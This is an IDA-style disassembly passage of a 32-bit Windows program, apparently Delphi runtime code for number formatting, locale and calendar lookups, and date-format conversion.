		jmp	short loc_404E1F
; ---------------------------------------------------------------------------


loc_404DF5:				; CODE XREF: sub_404DD6+18j
		xor	ebx, ebx
		cmp	byte ptr [ebp+10h], 2
		jz	short loc_404E07
		mov	eax, ecx
		dec	eax
		mov	bl, 3
		div	bl
		mov	bl, ah
		inc	ebx


loc_404E07:				; CODE XREF: sub_404DD6+25j
					; sub_404DD6+3Bj ...
		call	sub_404D2E
		stosb
		dec	ecx
		jz	short loc_404E1F
		dec	ebx
		jnz	short loc_404E07
		mov	al, [ebp-6]
		test	al, al
		jz	short loc_404E07
		stosb
		mov	bl, 3
		jmp	short loc_404E07
; ---------------------------------------------------------------------------


loc_404E1F:				; CODE XREF: sub_404DD6+1Dj
					; sub_404DD6+38j
		or	edx, edx
		jz	short locret_404E3F
		mov	al, [ebp-5]
		test	al, al
		jz	short loc_404E2B
		stosb


loc_404E2B:				; CODE XREF: sub_404DD6+52j
		jecxz	short loc_404E36
		mov	al, 30h


loc_404E2F:				; CODE XREF: sub_404DD6+5Ej
		stosb
		dec	edx
		jz	short locret_404E3F
		inc	ecx
		jnz	short loc_404E2F


loc_404E36:				; CODE XREF: sub_404DD6:loc_404E2Bj
					; sub_404DD6+67j
		call	sub_404D2E
		stosb
		dec	edx
		jnz	short loc_404E36

locret_404E3F:				; CODE XREF: sub_404DD6+4Bj
					; sub_404DD6+5Bj
		retn
sub_404DD6	endp


; =============== S U B	R O U T	I N E =======================================



sub_404E40	proc near		; DATA XREF: CODE:00404D24o
		xor	ebx, ebx
		mov	bl, [ebp-0Dh]
		mov	ecx, 3
		cmp	byte ptr [ebp-2Ah], 0
		jz	short loc_404E58
		mov	bl, [ebp-0Eh]
		mov	ecx, 40Fh


loc_404E58:				; CODE XREF: sub_404E40+Ej
		cmp	bl, cl
		jbe	short loc_404E5E
		mov	bl, cl


loc_404E5E:				; CODE XREF: sub_404E40+1Aj
		add	bl, ch
		lea	ebx, dword_404EA3[ebx+ebx*4]
		add	ebx, [ebp-14h]
		mov	ecx, 5


loc_404E6F:				; CODE XREF: sub_404E40+51j
		mov	al, [ebx]
		cmp	al, 40h
		jz	short locret_404E93
		push	ecx
		push	ebx
		cmp	al, 24h
		jz	short loc_404E82
		cmp	al, 2Ah
		jz	short loc_404E89
		stosb
		jmp	short loc_404E8E
; ---------------------------------------------------------------------------


loc_404E82:				; CODE XREF: sub_404E40+39j
		call	sub_404E94
		jmp	short loc_404E8E
; ---------------------------------------------------------------------------


loc_404E89:				; CODE XREF: sub_404E40+3Dj
		call	loc_404DDB


loc_404E8E:				; CODE XREF: sub_404E40+40j
					; sub_404E40+47j
		pop	ebx
		pop	ecx
		inc	ebx
		loop	loc_404E6F

locret_404E93:				; CODE XREF: sub_404E40+33j
		retn
sub_404E40	endp


; =============== S U B	R O U T	I N E =======================================



sub_404E94	proc near		; CODE XREF: sub_404E40:loc_404E82p
		push	esi
		mov	esi, [ebp-0Ch]
		test	esi, esi
		jz	short loc_404EA1
		mov	ecx, [esi-4]
		rep movsb


loc_404EA1:				; CODE XREF: sub_404E94+6j
		pop	esi
		retn
sub_404E94	endp

; ---------------------------------------------------------------------------
dword_404EA3	dd 40402A24h	; ---------------------------------------------------------------------------
		inc	eax
		sub	ah, [eax+eax*2]
		inc	eax
		inc	eax
		and	al, 20h
		sub	al, [eax+40h]
		sub	ah, [eax]
		and	al, 40h
		inc	eax
		sub	[edx+ebp], ah
		sub	[eax+2Dh], eax
		and	al, 2Ah
		inc	eax
		inc	eax
		and	al, 2Dh
		sub	al, [eax+40h]
		and	al, 2Ah
		sub	eax, 2A284040h
		and	al, 29h
		inc	eax
		sub	eax, 4040242Ah
		sub	ch, ds:2A404024h
		and	al, 2Dh
		inc	eax
		inc	eax
		sub	eax, 4024202Ah
		sub	eax, 402A2024h
		sub	ah, [eax]
		and	al, 2Dh
		inc	eax
		and	al, 20h
		sub	ch, ds:2D202440h
		sub	al, [eax+2Ah]
		sub	eax, 28402420h
		and	al, 20h
		sub	ch, [ecx]
		sub	[edx], ch
		and	[ecx+ebp], ah
; START	OF FUNCTION CHUNK FOR sub_404C38


loc_404F07:				; CODE XREF: sub_404C38+D7j
		mov	esp, ebp
		pop	ebp
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_404C38
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F10	proc near		; CODE XREF: sub_404C38+72p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00405133 SIZE 00000009 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	edi
		push	esi
		push	ebx
		mov	ebx, eax
		mov	esi, edx
		mov	[ebp+var_4], 0
		cmp	cl, 0
		jz	short loc_404F33
		call	sub_40505F
		jmp	loc_405133
; ---------------------------------------------------------------------------


loc_404F33:				; CODE XREF: sub_404F10+17j
		call	sub_404F3D
		jmp	loc_405133
sub_404F10	endp


; =============== S U B	R O U T	I N E =======================================



sub_404F3D	proc near		; CODE XREF: sub_404F10:loc_404F33p
		mov	ax, [esi+8]
		mov	edx, eax
		and	eax, 7FFFh
		jz	short loc_404F68
		cmp	eax, 7FFFh
		jnz	short loc_404F73
		test	word ptr [esi+6], 8000h
		jz	short loc_404F6A
		cmp	dword ptr [esi], 0
		jnz	short loc_404F67
		cmp	dword ptr [esi+4], 80000000h
		jz	short loc_404F6A


loc_404F67:				; CODE XREF: sub_404F3D+1Fj
		inc	eax


loc_404F68:				; CODE XREF: sub_404F3D+Bj
					; sub_404F3D+AFj
		xor	edx, edx


loc_404F6A:				; CODE XREF: sub_404F3D+1Aj
					; sub_404F3D+28j
		mov	byte ptr [ebx+3], 0
		jmp	loc_405040
; ---------------------------------------------------------------------------


loc_404F73:				; CODE XREF: sub_404F3D+12j
		fld	tbyte ptr [esi]
		sub	eax, 3FFFh
		imul	eax, 4D10h
		sar	eax, 10h
		inc	eax
		mov	[ebp-8], eax
		mov	eax, 12h
		sub	eax, [ebp-8]
		fabs
		push	ebx
		mov	ebx, [ebp-4]
		call	sub_401C00
		pop	ebx
		frndint
		mov	edi, [ebp-4]
		fld	ds:tbyte_409100[edi]
		fcomp	st(1)
		fstsw	word ptr [ebp-0Ah]
		wait
		test	word ptr [ebp-0Ah], 4100h
		jz	short loc_404FBE
		fidiv	ds:flt_40910C[edi]
		inc	dword ptr [ebp-8]


loc_404FBE:				; CODE XREF: sub_404F3D+76j
		fbstp	tbyte ptr [ebp-18h]
		lea	edi, [ebx+3]
		mov	edx, 9
		wait


loc_404FCA:				; CODE XREF: sub_404F3D+A0j
		mov	al, [edx+ebp-19h]
		mov	ah, al
		shr	al, 4
		and	ah, 0Fh
		add	ax, 3030h
		stosw
		dec	edx
		jnz	short loc_404FCA
		xor	al, al
		stosb
		mov	edi, [ebp-8]
		add	edi, [ebp+8]
		jns	short loc_404FF1
		xor	eax, eax
		jmp	loc_404F68
; ---------------------------------------------------------------------------


loc_404FF1:				; CODE XREF: sub_404F3D+ABj
		cmp	edi, [ebp+0Ch]
		jb	short loc_404FF9
		mov	edi, [ebp+0Ch]


loc_404FF9:				; CODE XREF: sub_404F3D+B7j
		cmp	edi, 12h
		jnb	short loc_405025
		cmp	byte ptr [ebx+edi+3], 35h
		jb	short loc_40502A


loc_405005:				; CODE XREF: sub_404F3D+D9j
		mov	byte ptr [ebx+edi+3], 0
		dec	edi
		js	short loc_40501A
		inc	byte ptr [ebx+edi+3]
		cmp	byte ptr [ebx+edi+3], 39h
		ja	short loc_405005
		jmp	short loc_405039
; ---------------------------------------------------------------------------


loc_40501A:				; CODE XREF: sub_404F3D+CEj
		mov	word ptr [ebx+3], 31h
		inc	dword ptr [ebp-8]
		jmp	short loc_405039
; ---------------------------------------------------------------------------


loc_405025:				; CODE XREF: sub_404F3D+BFj
		mov	edi, 12h


loc_40502A:				; CODE XREF: sub_404F3D+C6j
					; sub_404F3D+FAj
		mov	byte ptr [ebx+edi+3], 0
		dec	edi
		js	short loc_40504B
		cmp	byte ptr [ebx+edi+3], 30h
		jz	short loc_40502A


loc_405039:				; CODE XREF: sub_404F3D+DBj
					; sub_404F3D+E6j
		mov	dx, [esi+8]


loc_40503D:				; CODE XREF: sub_404F3D+110j
		mov	eax, [ebp-8]


loc_405040:				; CODE XREF: sub_404F3D+31j
		shr	dx, 0Fh
		mov	[ebx], ax
		mov	[ebx+2], dl
		retn
; ---------------------------------------------------------------------------


loc_40504B:				; CODE XREF: sub_404F3D+F3j
					; DATA XREF: sub_40505F+60r
		xor	edx, edx
		jmp	short loc_40503D
sub_404F3D	endp

; ---------------------------------------------------------------------------
		db 0Ah
		dd 64000000h, 0E8000000h, 10000003h
		db 27h,	2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_40505F	proc near		; CODE XREF: sub_404F10+19p
		mov	eax, [esi]
		mov	edx, [esi+4]
		mov	ecx, eax
		or	ecx, edx
		jz	loc_405125
		or	edx, edx
		jns	short loc_405079
		neg	edx
		neg	eax
		sbb	edx, 0


loc_405079:				; CODE XREF: sub_40505F+11j
		xor	ecx, ecx
		mov	edi, [ebp+8]
		or	edi, edi
		jge	short loc_405084
		xor	edi, edi


loc_405084:				; CODE XREF: sub_40505F+21j
		cmp	edi, 4
		jl	short loc_4050A8
		mov	edi, 4


loc_40508E:				; CODE XREF: sub_40505F+3Bj
		inc	ecx
		sub	eax, 0A7640000h
		sbb	edx, 0DE0B6B3h
		jnb	short loc_40508E
		dec	ecx
		add	eax, 0A7640000h
		adc	edx, 0DE0B6B3h


loc_4050A8:				; CODE XREF: sub_40505F+28j
		mov	[ebp-20h], eax
		mov	[ebp-1Ch], edx
		fild	qword ptr [ebp-20h]
		mov	edx, edi
		mov	eax, 4
		sub	eax, edx
		jz	short loc_4050C6
		mov	edi, [ebp-4]
		fidiv	dword ptr loc_40504B[edi+eax*4]


loc_4050C6:				; CODE XREF: sub_40505F+5Bj
		fbstp	tbyte ptr [ebp-18h]
		lea	edi, [ebx+3]
		wait
		or	ecx, ecx
		jnz	short loc_4050EC
		mov	ecx, 9


loc_4050D6:				; CODE XREF: sub_40505F+89j
		mov	al, [ecx+ebp-19h]
		mov	ah, al
		shr	al, 4
		jnz	short loc_4050FF
		mov	al, ah
		and	al, 0Fh
		jnz	short loc_405106
		dec	ecx
		jnz	short loc_4050D6
		jmp	short loc_405125
; ---------------------------------------------------------------------------


loc_4050EC:				; CODE XREF: sub_40505F+70j
		mov	al, cl
		add	al, 30h
		stosb
		mov	ecx, 9


loc_4050F6:				; CODE XREF: sub_40505F+ABj
		mov	al, [ecx+ebp-19h]
		mov	ah, al
		shr	al, 4


loc_4050FF:				; CODE XREF: sub_40505F+80j
		add	al, 30h
		stosb
		mov	al, ah
		and	al, 0Fh


loc_405106:				; CODE XREF: sub_40505F+86j
		add	al, 30h
		stosb
		dec	ecx
		jnz	short loc_4050F6
		mov	eax, edi
		lea	ecx, [ebx+edx+3]
		sub	eax, ecx


loc_405114:				; CODE XREF: sub_40505F+BCj
		mov	byte ptr [edi],	0
		dec	edi
		cmp	byte ptr [edi],	30h
		jz	short loc_405114
		mov	edx, [esi+4]
		shr	edx, 1Fh
		jmp	short loc_40512C
; ---------------------------------------------------------------------------


loc_405125:				; CODE XREF: sub_40505F+9j
					; sub_40505F+8Bj
		xor	eax, eax
		xor	edx, edx
		mov	[ebx+3], al


loc_40512C:				; CODE XREF: sub_40505F+C4j
		mov	[ebx], ax
		mov	[ebx+2], dl
		retn
sub_40505F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_404F10


loc_405133:				; CODE XREF: sub_404F10+1Ej
					; sub_404F10+28j
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	8
; END OF FUNCTION CHUNK	FOR sub_404F10

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40513C	proc near		; CODE XREF: sub_4051B0+1Cp
					; sub_4053C4+27p ...

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF00h
		push	ebx
		push	esi
		mov	esi, ecx
		mov	ebx, [ebp+arg_0]
		push	100h
		lea	ecx, [ebp+var_100]
		push	ecx
		push	edx
		push	eax
		call	sub_403638	; GetLocaleInfoA
		test	eax, eax
		jle	short loc_405175
		mov	ecx, eax
		dec	ecx
		lea	edx, [ebp+var_100]
		mov	eax, ebx
		call	sub_4026B4
		jmp	short loc_40517E
; ---------------------------------------------------------------------------


loc_405175:				; CODE XREF: sub_40513C+25j
		mov	eax, ebx
		mov	edx, esi
		call	sub_40261C


loc_40517E:				; CODE XREF: sub_40513C+37j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_40513C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_405188	proc near		; CODE XREF: sub_4064C4+ADp
					; sub_4064C4+C0p ...

var_10		= byte ptr -10h

		push	ebx
		push	esi
		push	edi
		push	ecx
		mov	ebx, ecx
		mov	esi, edx
		mov	edi, eax
		push	2
		lea	eax, [esp+14h+var_10]
		push	eax
		push	esi
		push	edi
		call	sub_403638	; GetLocaleInfoA
		test	eax, eax
		jle	short loc_4051A9
		mov	al, [esp+10h+var_10]
		jmp	short loc_4051AB
; ---------------------------------------------------------------------------


loc_4051A9:				; CODE XREF: sub_405188+1Aj
		mov	eax, ebx


loc_4051AB:				; CODE XREF: sub_405188+1Fj
		pop	edx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_405188	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4051B0	proc near		; CODE XREF: sub_4051EC+46p
					; sub_4051EC+69p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ecx
		mov	edi, edx
		mov	esi, eax
		mov	ebx, [ebp+arg_0]
		push	ebx
		mov	eax, [ebp+arg_8]
		mov	eax, [eax-4]
		xor	ecx, ecx
		mov	edx, esi
		call	sub_40513C
		cmp	dword ptr [ebx], 0
		jnz	short loc_4051E3
		mov	eax, [ebp+var_4]
		mov	eax, [eax+edi*4]
		mov	edx, ebx
		call	sub_4033B0


loc_4051E3:				; CODE XREF: sub_4051B0+24j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	8
sub_4051B0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4051EC	proc near		; CODE XREF: sub_4064C4+23p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		push	ebp
		push	offset loc_4052FF
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		call	sub_403668	; GetThreadLocale
		mov	[ebp+var_4], eax
		mov	ebx, 1
		mov	esi, offset dword_40A6D8
		mov	edi, offset dword_40A708


loc_40521F:				; CODE XREF: sub_4051EC+83j
		push	ebp
		push	0Bh
		lea	eax, [ebp+var_C]
		push	eax
		mov	ecx, offset off_409110
		mov	edx, ebx
		dec	edx
		lea	eax, [ebx+44h]
		dec	eax
		call	sub_4051B0
		pop	ecx
		mov	edx, [ebp+var_C]
		mov	eax, esi
		call	sub_40261C
		push	ebp
		push	0Bh
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, offset off_409140
		mov	edx, ebx
		dec	edx
		lea	eax, [ebx+38h]
		dec	eax
		call	sub_4051B0
		pop	ecx
		mov	edx, [ebp+var_10]
		mov	eax, edi
		call	sub_40261C
		inc	ebx
		add	edi, 4
		add	esi, 4
		cmp	ebx, 0Dh
		jnz	short loc_40521F
		mov	ebx, 1
		mov	esi, offset dword_40A738
		mov	edi, offset dword_40A754


loc_405280:				; CODE XREF: sub_4051EC+F6j
		lea	eax, [ebx+5]
		mov	ecx, 7
		cdq
		idiv	ecx
		mov	[ebp+var_8], edx
		push	ebp
		push	6
		lea	eax, [ebp+var_14]
		push	eax
		mov	ecx, offset off_409170
		mov	edx, ebx
		dec	edx
		mov	eax, [ebp+var_8]
		add	eax, 31h
		call	sub_4051B0
		pop	ecx
		mov	edx, [ebp+var_14]
		mov	eax, esi
		call	sub_40261C
		push	ebp
		push	6
		lea	eax, [ebp+var_18]
		push	eax
		mov	ecx, offset off_40918C
		mov	edx, ebx
		dec	edx
		mov	eax, [ebp+var_8]
		add	eax, 2Ah
		call	sub_4051B0
		pop	ecx
		mov	edx, [ebp+var_18]
		mov	eax, edi
		call	sub_40261C
		inc	ebx
		add	edi, 4
		add	esi, 4
		cmp	ebx, 8
		jnz	short loc_405280
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_405306


loc_4052F1:				; CODE XREF: sub_4051EC+118j
		lea	eax, [ebp+var_18]
		mov	edx, 4
		call	sub_4025EC
		retn
; ---------------------------------------------------------------------------


loc_4052FF:				; DATA XREF: sub_4051EC+11o
		jmp	loc_4022D0
; ---------------------------------------------------------------------------
		jmp	short loc_4052F1
; ---------------------------------------------------------------------------


loc_405306:				; CODE XREF: sub_4051EC+112j
					; DATA XREF: sub_4051EC+100o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4051EC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405310	proc near		; DATA XREF: sub_4053C4+4Eo

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		xor	esi, esi
		mov	ebx, 1
		jmp	short loc_405324
; ---------------------------------------------------------------------------


loc_40531E:				; CODE XREF: sub_405310+1Cj
		cmp	ebx, 7
		jz	short loc_405342
		inc	ebx


loc_405324:				; CODE XREF: sub_405310+Cj
		cmp	ds:dword_40A77C[ebx*4],	0
		jnz	short loc_40531E
		lea	eax, dword_40A77C[ebx*4]
		mov	edx, [ebp+arg_0]
		call	sub_40279C
		mov	esi, 1


loc_405342:				; CODE XREF: sub_405310+11j
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ebp
		retn	4
sub_405310	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40534C	proc near		; DATA XREF: sub_4053C4+77o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		push	esi
		xor	eax, eax
		push	ebp
		push	offset loc_4053B1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	esi, esi
		mov	ebx, 1
		jmp	short loc_405370
; ---------------------------------------------------------------------------


loc_40536A:				; CODE XREF: sub_40534C+2Cj
		cmp	ebx, 7
		jz	short loc_40539B
		inc	ebx


loc_405370:				; CODE XREF: sub_40534C+1Cj
		cmp	ds:dword_40A798[ebx*4],	0FFFFFFFFh
		jnz	short loc_40536A
		lea	eax, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		call	sub_40279C
		mov	eax, [ebp+var_4]
		xor	edx, edx
		call	sub_4043F0
		mov	ds:dword_40A798[ebx*4],	eax
		mov	esi, 1


loc_40539B:				; CODE XREF: sub_40534C+21j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4053B8


loc_4053A8:				; CODE XREF: sub_40534C+6Aj
		lea	eax, [ebp+var_4]
		call	sub_4025C8
		retn
; ---------------------------------------------------------------------------


loc_4053B1:				; DATA XREF: sub_40534C+Ao
		jmp	loc_4022D0
; ---------------------------------------------------------------------------
		jmp	short loc_4053A8
; ---------------------------------------------------------------------------


loc_4053B8:				; CODE XREF: sub_40534C+64j
					; DATA XREF: sub_40534C+57o
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	4
sub_40534C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053C4	proc near		; CODE XREF: sub_4064C4+31p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	esi
		xor	eax, eax
		push	ebp
		push	offset loc_40545B
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_403668	; GetThreadLocale
		mov	ecx, offset dword_405470
		mov	edx, 100Bh
		call	sub_40513C
		mov	eax, [ebp+var_4]
		mov	edx, 1
		call	sub_4043F0
		mov	esi, eax
		mov	eax, esi
		add	eax, 0FFFFFFFDh
		sub	eax, 3
		jnb	short loc_405445
		push	4
		push	esi
		call	sub_403668	; GetThreadLocale
		push	eax
		push	offset sub_405310
		call	sub_4035E8	; EnumCalendarInfoA
		mov	edx, 7
		mov	eax, offset dword_40A79C


loc_405426:				; CODE XREF: sub_4053C4+6Cj
		mov	dword ptr [eax], 0FFFFFFFFh
		add	eax, 4
		dec	edx
		jnz	short loc_405426
		push	3
		push	esi
		call	sub_403668	; GetThreadLocale
		push	eax
		push	offset sub_40534C
		call	sub_4035E8	; EnumCalendarInfoA


loc_405445:				; CODE XREF: sub_4053C4+43j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_405462


loc_405452:				; CODE XREF: sub_4053C4+9Cj
		lea	eax, [ebp+var_4]
		call	sub_4025C8
		retn
; ---------------------------------------------------------------------------


loc_40545B:				; DATA XREF: sub_4053C4+9o
		jmp	loc_4022D0
; ---------------------------------------------------------------------------
		jmp	short loc_405452
; ---------------------------------------------------------------------------


loc_405462:				; CODE XREF: sub_4053C4+96j
					; DATA XREF: sub_4053C4+89o
		pop	esi
		pop	ecx
		pop	ebp
		retn
sub_4053C4	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 1
dword_405470	dd 31h		
; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405474	proc near		; CODE XREF: sub_4064C4+11Cp
					; sub_4064C4+149p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		mov	esi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40563E
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ebx, 1
		mov	eax, edi
		call	sub_4025C8
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_403668	; GetThreadLocale
		mov	ecx, offset dword_405654
		mov	edx, 1009h
		call	sub_40513C
		mov	eax, [ebp+var_8]
		mov	edx, 1
		call	sub_4043F0
		add	eax, 0FFFFFFFDh
		sub	eax, 3
		jb	loc_405614
		mov	eax, ds:dword_40A774
		sub	eax, 4
		jz	short loc_4054E6
		add	eax, 0FFFFFFF3h
		sub	eax, 2
		jb	short loc_4054E6
		xor	eax, eax
		jmp	short loc_4054E8
; ---------------------------------------------------------------------------


loc_4054E6:				; CODE XREF: sub_405474+64j
					; sub_405474+6Cj
		mov	al, 1


loc_4054E8:				; CODE XREF: sub_405474+70j
		test	al, al
		jz	short loc_405521
		jmp	short loc_405511
; ---------------------------------------------------------------------------


loc_4054EE:				; CODE XREF: sub_405474+A6j
		mov	al, [esi+ebx-1]
		sub	al, 47h
		jz	short loc_405510
		sub	al, 20h
		jz	short loc_405510
		lea	eax, [ebp+var_C]
		mov	dl, [esi+ebx-1]
		call	sub_40278C
		mov	edx, [ebp+var_C]
		mov	eax, edi
		call	sub_402848


loc_405510:				; CODE XREF: sub_405474+80j
					; sub_405474+84j
		inc	ebx


loc_405511:				; CODE XREF: sub_405474+78j
		mov	eax, esi
		call	sub_402840
		cmp	ebx, eax
		jle	short loc_4054EE
		jmp	loc_405623
; ---------------------------------------------------------------------------


loc_405521:				; CODE XREF: sub_405474+76j
		mov	eax, edi
		mov	edx, esi
		call	sub_40261C
		jmp	loc_405623
; ---------------------------------------------------------------------------


loc_40552F:				; CODE XREF: sub_405474+1A9j
		mov	al, [esi+ebx-1]
		and	eax, 0FFh
		bt	ds:dword_4090C8, eax
		jnb	short loc_40556F
		mov	edx, ebx
		mov	eax, esi
		call	sub_4061C0
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, ebx
		mov	eax, esi
		call	sub_402A94
		mov	edx, [ebp+var_10]
		mov	eax, edi
		call	sub_402848
		add	ebx, [ebp+var_4]
		jmp	loc_405614
; ---------------------------------------------------------------------------


loc_40556F:				; CODE XREF: sub_405474+CBj
		mov	edx, offset dword_405658
		lea	eax, [esi+ebx-1]
		mov	ecx, 2
		call	sub_4045F0
		test	eax, eax
		jnz	short loc_405595
		mov	eax, edi
		mov	edx, offset dword_405664
		call	sub_402848
		inc	ebx
		jmp	short loc_405613
; ---------------------------------------------------------------------------


loc_405595:				; CODE XREF: sub_405474+110j
		mov	edx, offset aYyyy ; "yyyy"
		lea	eax, [esi+ebx-1]
		mov	ecx, 4
		call	sub_4045F0
		test	eax, eax
		jnz	short loc_4055BD
		mov	eax, edi
		mov	edx, offset aEeee ; "eeee"
		call	sub_402848
		add	ebx, 3
		jmp	short loc_405613
; ---------------------------------------------------------------------------


loc_4055BD:				; CODE XREF: sub_405474+136j
		mov	edx, offset aYy	; "yy"
		lea	eax, [esi+ebx-1]
		mov	ecx, 2
		call	sub_4045F0
		test	eax, eax
		jnz	short loc_4055E3
		mov	eax, edi
		mov	edx, offset dword_40568C
		call	sub_402848
		inc	ebx
		jmp	short loc_405613
; ---------------------------------------------------------------------------


loc_4055E3:				; CODE XREF: sub_405474+15Ej
		mov	al, [esi+ebx-1]
		sub	al, 59h
		jz	short loc_4055EF
		sub	al, 20h
		jnz	short loc_4055FD


loc_4055EF:				; CODE XREF: sub_405474+175j
		mov	eax, edi
		mov	edx, offset dword_405698
		call	sub_402848
		jmp	short loc_405613
; ---------------------------------------------------------------------------


loc_4055FD:				; CODE XREF: sub_405474+179j
		lea	eax, [ebp+var_14]
		mov	dl, [esi+ebx-1]
		call	sub_40278C
		mov	edx, [ebp+var_14]
		mov	eax, edi
		call	sub_402848


loc_405613:				; CODE XREF: sub_405474+11Fj
					; sub_405474+147j ...
		inc	ebx


loc_405614:				; CODE XREF: sub_405474+56j
					; sub_405474+F6j
		mov	eax, esi
		call	sub_402840
		cmp	ebx, eax
		jle	loc_40552F


loc_405623:				; CODE XREF: sub_405474+A8j
					; sub_405474+B6j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_405645


loc_405630:				; CODE XREF: sub_405474+1CFj
		lea	eax, [ebp+var_14]
		mov	edx, 4
		call	sub_4025EC
		retn
; ---------------------------------------------------------------------------


loc_40563E:				; DATA XREF: sub_405474+14o
		jmp	loc_4022D0
; ---------------------------------------------------------------------------
		jmp	short loc_405630
; ---------------------------------------------------------------------------


loc_405645:				; CODE XREF: sub_405474+1C9j
					; DATA XREF: sub_405474+1B7o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_405474	endp

; ---------------------------------------------------------------------------
		dd 0FFFFFFFFh, 1
dword_405654	dd 31h		dword_405658	dd 6767h, 0FFFFFFFFh, 3dword_405664	dd 676767h	aYyyy		db 'yyyy',0             ; DATA XREF: sub_405474:loc_405595o
		align 10h
		dd 0FFFFFFFFh, 4
aEeee		db 'eeee',0             ; DATA XREF: sub_405474+13Ao
		align 10h
aYy		db 'yy',0               ; DATA XREF: sub_405474:loc_4055BDo
		align 4
		dd 0FFFFFFFFh, 2
dword_40568C	dd 6565h, 0FFFFFFFFh, 1dword_405698	dd 65h		
; =============== S U B	R O U T	I N E =======================================



sub_40569C	proc near		; CODE XREF: CODE:0040570Bp
		test	eax, eax
		jz	short locret_4056A5
		sub	eax, 1000h

locret_4056A5:				; CODE XREF: sub_40569C+2j
		retn
sub_40569C	endp

; ---------------------------------------------------------------------------
		align 4
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFBA8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-4], ecx
		mov	ebx, edx
		mov	esi, eax
		push	1Ch
		lea	eax, [ebp-330h]
		push	eax
		push	ebx
		call	sub_403688	; VirtualQuery
		cmp	dword ptr [ebp-320h], 1000h
		jnz	short loc_4056F2
		push	105h
		lea	eax, [ebp-212h]
		push	eax
		mov	eax, [ebp-32Ch]
		push	eax
		call	sub_403640	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_405715


loc_4056F2:				; CODE XREF: CODE:004056D4j
		push	105h
		lea	eax, [ebp-212h]
		push	eax
		mov	eax, ds:dword_40A694
		push	eax
		call	sub_403640	; GetModuleFileNameA
		mov	eax, ebx
		call	sub_40569C
		mov	[ebp-8], eax
		jmp	short loc_40571E
; ---------------------------------------------------------------------------


loc_405715:				; CODE XREF: CODE:004056F0j
		sub	ebx, [ebp-32Ch]
		mov	[ebp-8], ebx


loc_40571E:				; CODE XREF: CODE:00405713j
		lea	eax, [ebp-212h]
		mov	dl, 5Ch
		call	sub_4061FC
		mov	edx, eax
		inc	edx
		lea	eax, [ebp-10Dh]
		mov	ecx, 104h
